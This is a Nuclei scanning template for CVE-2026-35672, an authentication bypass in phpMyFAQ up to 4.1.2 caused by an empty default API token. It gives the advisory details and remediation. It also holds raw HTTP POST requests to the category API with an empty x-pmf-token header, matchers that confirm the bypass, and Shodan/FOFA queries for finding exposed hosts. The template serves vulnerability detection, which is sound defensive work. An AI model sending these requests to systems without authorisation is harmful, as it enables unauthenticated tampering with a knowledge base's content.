id: CVE-2026-35672 info: name: phpMyFAQ <= 4.1.2 - Authentication Bypass via Empty API Token author: s4e-io severity: high description: | phpMyFAQ 4.0.0 through 4.1.2 seeds the api.apiClientToken setting with an empty string during installation. The REST API checks the x-pmf-token header with a strict comparison against this setting, so a request that sends the header with an empty value passes the token check on the category, FAQ and question write endpoints. impact: | Unauthenticated attackers can create and modify FAQ entries, categories and open questions through the REST API, which allows content injection for phishing or spam on the knowledge base. remediation: | Upgrade to version 4.1.3 or later, or set a long random API client token in the phpMyFAQ configuration. reference: - https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gp95-j463-vv28 - https://github.com/thorsten/phpMyFAQ/commit/84c095d6b39fb6744ce2d5f26ee1c8a7569327a5 - https://www.vulncheck.com/advisories/phpmyfaq-authentication-bypass-via-empty-api-token - https://nvd.nist.gov/vuln/detail/CVE-2026-35672 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N cvss-score: 7.5 cve-id: CVE-2026-35672 epss-score: 0.00483 epss-percentile: 0.42183 cwe-id: CWE-1188 metadata: verified: true max-request: 2 vendor: phpmyfaq product: phpmyfaq shodan-query: http.html:"phpMyFAQ" fofa-query: app="phpMyFAQ" tags: cve,cve2026,phpmyfaq,auth-bypass,unauth,vuln variables: parent: "{{rand_text_alpha(16)}}" http: - raw: - | POST /api/v3.1/category HTTP/1.1 Host: {{Hostname}} Content-Type: application/json x-pmf-token: {"language":"en","parent-id":0,"parent-category-name":"{{parent}}","category-name":"{{parent}}","description":"{{parent}}","is-active":false,"show-on-homepage":false} - | POST /api/v3.0/category HTTP/1.1 Host: {{Hostname}} Content-Type: application/json x-pmf-token: {"language":"en","parent-id":0,"parent-category-name":"{{parent}}","category-name":"{{parent}}","description":"{{parent}}","is-active":false,"show-on-homepage":false} stop-at-first-match: true matchers: - type: dsl dsl: - 'status_code == 409' - 'contains(content_type, "application/json")' - 'contains_all(body, "\"stored\":false", "The given parent category name was not found.")' condition: and # digest: 4a0a0047304502210091cee223df708930811510a97c84106c3d6b0a26c7b6a2217a6948a3662c621e02203d030e9879e86b021133185ae4b4f883496e976ae700a214bc2ab1c265a888c2:922c64590222798bb761d5b6d8e72950